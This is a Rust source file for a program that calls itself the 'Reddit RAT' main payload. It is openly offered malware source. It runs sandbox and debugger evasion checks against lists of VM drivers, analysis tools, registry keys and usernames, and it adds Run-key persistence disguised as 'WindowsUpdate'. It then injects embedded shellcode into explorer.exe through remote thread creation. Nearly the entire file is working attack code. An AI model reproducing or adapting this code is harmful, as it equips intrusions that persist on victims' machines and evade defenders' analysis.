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// reddit/src/main.rs
// Anti-analysis + Registry Persistence + Process Injection
extern crate winapi;
extern crate chrono;
use std::ptr;
use std::mem;
use std::thread;
use std::time::Duration;
use winapi::um::winreg::{RegOpenKeyExW, RegSetValueExW, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE};
use winapi::um::winnt::{KEY_WRITE, REG_SZ, KEY_READ};
use winapi::shared::minwindef::{HKEY, DWORD};
use winapi::um::handleapi::CloseHandle;
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
PROCESSENTRY32W, TH32CS_SNAPPROCESS
};
use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory};
use winapi::um::processthreadsapi::{
OpenProcess, CreateRemoteThread
};
use winapi::um::winnt::{
PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE,
PAGE_EXECUTE_READWRITE
};
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::sysinfoapi::{GlobalMemoryStatusEx, MEMORYSTATUSEX, GetTickCount};
use winapi::um::debugapi::IsDebuggerPresent;
// ===== STRINGS =====
const REG_PATH: &str = r"Software\Microsoft\Windows\CurrentVersion\Run";
const STARTUP_NAME: &str = "WindowsUpdate";
const EXPLORER_NAME: &str = "explorer.exe";
// ===== ANTI-ANALYSIS CONSTANTS =====
const BLACKLISTED_PROCESSES: [&str; 15] = [
"vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe",
"vmwareuser.exe", "xenservice.exe", "procmon.exe", "wireshark.exe",
"processhacker.exe", "ollydbg.exe", "x64dbg.exe", "ida64.exe",
"ida.exe", "windbg.exe", "dumpcap.exe"
];
const VM_FILES: [&str; 8] = [
r"C:\Windows\System32\drivers\vmmouse.sys",
r"C:\Windows\System32\drivers\vmhgfs.sys",
r"C:\Windows\System32\drivers\VBoxGuest.sys",
r"C:\Windows\System32\drivers\vboxsf.sys",
r"C:\Windows\System32\drivers\vboxvideo.sys",
r"C:\Windows\System32\drivers\xenbus.sys",
r"C:\Windows\System32\drivers\xen.sys",
r"C:\Windows\System32\drivers\vmci.sys"
];
const ANALYSIS_REGISTRY_KEYS: [&str; 8] = [
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ProcessHacker",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wireshark",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OLLYDBG",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x64dbg",
r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDA Pro",
r"SOFTWARE\Classes\Wireshark",
r"SOFTWARE\Wireshark",
r"SOFTWARE\ProcessHacker"
];
const SUSPICIOUS_USERNAMES: [&str; 10] = [
"sandbox", "virus", "malware", "analysis", "sample",
"vmware", "virtual", "admin", "user", "test"
];
// ===== STRUCTURES =====
#[derive(Debug, Clone)]
struct ProcessInfo {
pid: u32,
name: [u16; 260],
}
// ===== PROCESS LIST FUNCTIONS =====
fn get_process_list() -> Vec<ProcessInfo> {
let mut processes = Vec::new();
unsafe {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snapshot.is_null() {
return processes;
}
let mut pe32: PROCESSENTRY32W = mem::zeroed();
pe32.dwSize = mem::size_of::<PROCESSENTRY32W>() as DWORD;
if Process32FirstW(snapshot, &mut pe32) != 0 {
loop {
let mut name_buf = [0u16; 260];
let mut i = 0;
while i < 260 && pe32.szExeFile[i] != 0 {
name_buf[i] = pe32.szExeFile[i];
i += 1;
}
processes.push(ProcessInfo {
pid: pe32.th32ProcessID,
name: name_buf,
});
if Process32NextW(snapshot, &mut pe32) == 0 {
break;
}
}
}
CloseHandle(snapshot);
}
processes
}
// ===== ANTI-ANALYSIS FUNCTIONS =====
fn check_cpu_count() -> bool {
println!("[*] Checking CPU count...");
unsafe {
let mut system_info: winapi::um::sysinfoapi::SYSTEM_INFO = mem::zeroed();
winapi::um::sysinfoapi::GetSystemInfo(&mut system_info);
let cpu_count = system_info.dwNumberOfProcessors;
println!("[*] CPU count: {}", cpu_count);
if cpu_count <= 2 {
println!("[!] Low CPU count detected (sandbox)");
return true;
}
}
false
}
fn check_virtual_machine() -> bool {
println!("[*] Checking for VM environment...");
for &file in &VM_FILES {
if std::path::Path::new(file).exists() {
println!("[!] Detected VM driver: {}", file);
return true;
}
}
let processes = get_process_list();
for process in &processes {
let process_name = String::from_utf16_lossy(&process.name[..]);
let process_name_lower = process_name.to_lowercase();
for &bad_proc in &BLACKLISTED_PROCESSES {
if process_name_lower.contains(bad_proc) {
println!("[!] Detected VM process: {}", bad_proc);
return true;
}
}
}
false
}
fn check_analysis_registry() -> bool {
println!("[*] Checking registry for analysis tools...");
unsafe {
let mut key_handle: HKEY = ptr::null_mut();
for &key in &ANALYSIS_REGISTRY_KEYS {
let key_wide: Vec<u16> = key.encode_utf16().chain(Some(0)).collect();
let result = RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
key_wide.as_ptr(),
0,
KEY_READ,
&mut key_handle
);
if result == 0 && !key_handle.is_null() {
println!("[!] Found analysis registry key: {}", key);
CloseHandle(key_handle as _);
return true;
}
if !key_handle.is_null() {
CloseHandle(key_handle as _);
}
}
}
false
}
fn check_ram_size() -> bool {
println!("[*] Checking RAM size...");
unsafe {
let mut memory_status: MEMORYSTATUSEX = mem::zeroed();
memory_status.dwLength = mem::size_of::<MEMORYSTATUSEX>() as u32;
if GlobalMemoryStatusEx(&mut memory_status) != 0 {
let ram_gb = memory_status.ullTotalPhys / (1024 * 1024 * 1024);
println!("[*] RAM: {} GB", ram_gb);
if ram_gb < 4 {
println!("[!] Low RAM detected (sandbox)");
return true;
}
}
}
false
}
fn check_debugger() -> bool {
println!("[*] Checking for debugger...");
unsafe {
if IsDebuggerPresent() != 0 {
println!("[!] Debugger detected!");
return true;
}
}
false
}
fn check_uptime() -> bool {
println!("[*] Checking system uptime...");
unsafe {
let uptime_ms = GetTickCount();
let uptime_minutes = uptime_ms / (1000 * 60);
println!("[*] Uptime: {} minutes", uptime_minutes);
if uptime_minutes < 15 {
println!("[!] Low uptime detected (sandbox)");
return true;
}
}
false
}
fn check_username() -> bool {
println!("[*] Checking username...");
match std::env::var("USERNAME") {
Ok(username) => {
let username_lower = username.to_lowercase();
for &suspicious in &SUSPICIOUS_USERNAMES {
if username_lower.contains(suspicious) {
println!("[!] Suspicious username: {}", username);
return true;
}
}
},
Err(_) => {}
}
false
}
fn perform_anti_analysis_checks() -> bool {
println!("\n[*] Starting anti-analysis checks...");
println!("=================================");
let checks = [
("CPU Count", check_cpu_count as fn() -> bool),
("Virtual Machine", check_virtual_machine),
("Registry Analysis", check_analysis_registry),
("RAM Size", check_ram_size),
("Debugger", check_debugger),
("Uptime", check_uptime),
("Username", check_username),
];
let mut detected_count =0;
for (name, check) in checks.iter() {
print!("[*] {}: ", name);
if check() {
println!(" [DETECTED]");
detected_count += 1;
} else {
println!(" [CLEAN]");
}
}
println!("=================================");
println!("[*] Total detections: {}/{}", detected_count, checks.len());
detected_count >= 10
}
// ===== REGISTRY PERSISTENCE =====
fn setup_registry_persistence() -> Result<(), String> {
println!("[*] Setting up registry persistence...");
let reg_path_wide: Vec<u16> = REG_PATH.encode_utf16().chain(Some(0)).collect();
let startup_name_wide: Vec<u16> = STARTUP_NAME.encode_utf16().chain(Some(0)).collect();
let current_exe = std::env::current_exe()
.map_err(|e| format!("Failed to get current exe path: {}", e))?;
let payload_path = current_exe.to_string_lossy().to_string();
let payload_path_wide: Vec<u16> = payload_path.encode_utf16().chain(Some(0)).collect();
println!("[*] Registry path: HKEY_CURRENT_USER\\{}", REG_PATH);
println!("[*] Payload path: {}", payload_path);
let mut registry_key_handle: HKEY = ptr::null_mut();
let result = unsafe {
RegOpenKeyExW(
HKEY_CURRENT_USER,
reg_path_wide.as_ptr(),
0,
KEY_WRITE,
&mut registry_key_handle,
)
};
if result != 0 {
return Err(format!("Couldn't open registry key: error code {}", result));
}
let data_size = ((payload_path_wide.len()) * 2) as DWORD;
let set_result = unsafe {
RegSetValueExW(
registry_key_handle,
startup_name_wide.as_ptr(),
0,
REG_SZ,
payload_path_wide.as_ptr() as *const u8,
data_size,
)
};
unsafe { CloseHandle(registry_key_handle as _); }
if set_result != 0 {
return Err(format!("Failed to set registry value: {}", set_result));
}
println!("[+] Registry persistence established as 'WindowsUpdate'");
Ok(())
}
// ===== PROCESS INJECTION =====
fn inject_into_explorer(shellcode: &[u8]) -> Result<(), String> {
println!("[*] Attempting to inject into explorer.exe...");
let processes = get_process_list();
let mut target_pid = 0;
for process in &processes {
let process_name = String::from_utf16_lossy(&process.name[..]);
let process_name_trimmed = process_name.trim_matches(char::from(0));
if !process_name_trimmed.is_empty() && process_name_trimmed.to_lowercase() == EXPLORER_NAME {
target_pid = process.pid;
println!("[+] Found explorer.exe (PID: {})", process.pid);
break;
}
}
if target_pid == 0 {
return Err("Could not find explorer.exe".to_string());
}
unsafe {
let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
if process_handle == ptr::null_mut() {
return Err(format!("Failed to open process: Error code {}", GetLastError()));
}
let allocation = VirtualAllocEx(
process_handle,
ptr::null_mut(),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if allocation == ptr::null_mut() {
CloseHandle(process_handle);
return Err(format!("VirtualAllocEx failed: Error code {}", GetLastError()));
}
println!("[+] Allocated memory at {:p}", allocation);
let mut bytes_written = 0;
let write_result = WriteProcessMemory(
process_handle,
allocation,
shellcode.as_ptr() as *const _,
shellcode.len(),
&mut bytes_written
);
if write_result == 0 {
CloseHandle(process_handle);
return Err(format!("WriteProcessMemory failed: Error code {}", GetLastError()));
}
println!("[+] Wrote {} bytes to target process", bytes_written);
let thread_handle = CreateRemoteThread(
process_handle,
ptr::null_mut(),
0,
Some(mem::transmute(allocation)),
ptr::null_mut(),
0,
ptr::null_mut()
);
if thread_handle == ptr::null_mut() {
CloseHandle(process_handle);
return Err(format!("CreateRemoteThread failed: Error code {}", GetLastError()));
}
println!("[+] Created remote thread successfully");
CloseHandle(thread_handle);
CloseHandle(process_handle);
}
Ok(())
}
// ===== MAIN FUNCTION =====
fn main() {
println!("===================================");
println!("Reddit RAT - Main Payload");
println!("===================================\n");
if perform_anti_analysis_checks() {
println!("[!] Analysis environment detected! Exiting...");
thread::sleep(Duration::from_secs(2));
return;
}
println!("[+] Anti-analysis checks passed.\n");
match setup_registry_persistence() {
Ok(_) => println!("[+] Registry persistence completed\n"),
Err(e) => eprintln!("[!] Registry persistence error: {}\n", e),
}
// ===== SHELLCODE =====
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
println!("[*] Attempting process injection...");
match inject_into_explorer(&shellcode) {
Ok(_) => println!("[+] Injection successful!"),
Err(e) => eprintln!("[!] Injection failed: {}", e),
}
println!("\n[*] RAT entering maintenance loop...");
loop {
thread::sleep(Duration::from_secs(60));
println!("[*] RAT still running...");
}
}